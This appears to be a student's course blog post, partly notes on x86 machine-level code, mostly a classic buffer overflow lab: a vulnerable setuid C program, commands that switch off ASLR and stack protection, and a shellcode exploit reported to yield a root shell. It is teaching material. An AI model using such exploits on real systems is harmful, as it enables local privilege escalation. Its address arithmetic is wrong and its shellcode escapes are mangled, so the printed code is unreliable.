zoukankan      html  css  js  c++  java
  • 2018-2019-1 20165231《信息安全系统设计基础》第三周学习总结

    教材学习内容总结

    第三章 程序的机器级表示

    第一代处理器芯片:8086
    第一代超线程处理器芯片:Pentium 4E

    程序编码

    假设有x1.c和x2.c两个程序,使用命令gcc -Og -o x x1.c x2.c编译

    数据格式

    访问信息

    整数寄存器

    操作数指示符

    数据传输指令

    压入和弹出栈数据

    缓冲区漏洞溢出实验

    实验准备

    实验楼提供的是 64 位 Ubuntu linux,而本次实验为了方便观察汇编语句,我们需要在 32 位环境下作操作,因此实验之前需要做一些准备。输入命令安装一些用于编译 32 位 C 程序的软件包:
    $ sudo apt-get update

    $ sudo apt-get install -y lib32z1 libc6-dev-i386

    $ sudo apt-get install -y lib32readline-gplv2-dev

    初始设置

    使用以下命令关闭地址空间随机化:$ sudo sysctl -w kernel.randomize_va_space=0

    这个防护措施在 /bin/bash 中实现。linux 系统中,/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替 /bin/bash。下面的指令描述了如何设置 zsh 程序:

    $ sudo su

    $ cd /bin

    $ rm sh

    $ ln -s zsh sh

    $ exit

    漏洞程序

    在 /tmp 目录下新建一个 stack.c 文件:

    /* stack.c */
    
    /* This program has a buffer overflow vulnerability. */
    /* Our task is to exploit this vulnerability */
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    int bof(char *str)
    {
        char buffer[12];
    
        /* The following statement has a buffer overflow problem */ 
        strcpy(buffer, str);
    
        return 1;
    }
    
    int main(int argc, char **argv)
    {
        char str[517];
        FILE *badfile;
    
        badfile = fopen("badfile", "r");
        fread(str, sizeof(char), 517, badfile);
        bof(str);
    
        printf("Returned Properly
    ");
        return 1;
    }
    
    

    编译该程序,并设置 SET-UID。命令如下:
    $ sudo su

    $ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c

    $ chmod u+s stack

    $ exit

    GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。
    而 -z execstack 用于允许执行栈。-g 参数是为了使编译后得到的可执行文档能用 gdb 调试。

    攻击程序

    新建一个 exploit.c 文件

    /* exploit.c */
    /* A program that creates a file containing code for launching shell*/
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    char shellcode[] =
        "x31xc0" //xorl %eax,%eax
        "x50"     //pushl %eax
        "x68""//sh" //pushl $0x68732f2f
        "x68""/bin"     //pushl $0x6e69622f
        "x89xe3" //movl %esp,%ebx
        "x50"     //pushl %eax
        "x53"     //pushl %ebx
        "x89xe1" //movl %esp,%ecx
        "x99"     //cdq
        "xb0x0b" //movb $0x0b,%al
        "xcdx80" //int $0x80
        ;
    
    void main(int argc, char **argv)
    {
        char buffer[517];
        FILE *badfile;
    
        /* Initialize buffer with 0x90 (NOP instruction) */
        memset(&buffer, 0x90, 517);
    
        /* You need to fill the buffer with appropriate contents here */
        strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
        strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100
    
        /* Save the contents to the file "badfile" */
        badfile = fopen("./badfile", "w");
        fwrite(buffer, 517, 1, badfile);
        fclose(badfile);
    }
    
    
    

    x??x??x??x?? 处需要添上 shellcode 保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode 保存在 buffer + 100 的位置。下面我们将详细介绍如何获得我们需要添加的地址。

    进行gdb调试
    $ gdb stack

    $ disass main

    根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffffd420(十六进制) + 0x64(100的十六进制) = 0xffffd0c4(十六进制)
    现在修改exploit.c文件!将 x??x??x??x?? 修改为xc4xd0xffxff

    编译 exploit.c 程序:$ gcc -m32 -o exploit exploit.c

    先运行攻击程序 exploit,再运行漏洞程序 stack

    whoami 是输入的命令,不是输出结果。

    通过攻击,获得了root 权限!

    练习

    • 通过命令 sudo sysctl -w kernel.randomize_va_space=2 打开系统的地址空间随机化机制,重复用 exploit 程序攻击 stack 程序,观察能否攻击成功,能否获得root权限

    • 将 /bin/sh 重新指向 /bin/bash(或/bin/dash),观察能否攻击成功,能否获得 root 权限。

    代码调试中的问题和解决过程

    教材中代码调试有问题先去https://shimo.im/doc/1i1gldfsojIFH8Ip/看看,如果别人没有提出相同问题,可以编辑文档添加,然后把自己提出的问题复制到下面:

    • 问题1:虚拟机崩溃了!

    • 问题1解决方案:不要用虚拟机做这个漏洞实验!

    • 问题2:出现攻击实验段错误提示

    • 问题2解决方案:重新使用 gdb 反汇编,计算内存地址

  • 相关阅读:
    SharePoint 2013 配置基于表单的身份认证
    SharePoint 2013 场解决方案包含第三方程序集
    SharePoint 2010 站点附加数据升级到SP2013
    SharePoint 2013 在母版页中插入WebPart
    SharePoint 2013 搭建负载均衡(NLB)
    SharePoint 部署解决方案Feature ID冲突
    SharePoint 2013 配置基于AD的Form认证
    SharePoint Server 2016 Update
    SharePoint 2013 为用户组自定义EventReceiver
    SharePoint 2013 JavaScript API 记录
  • 原文地址:https://www.cnblogs.com/Yhooyon/p/9786851.html
Copyright © 2011-2022 走看看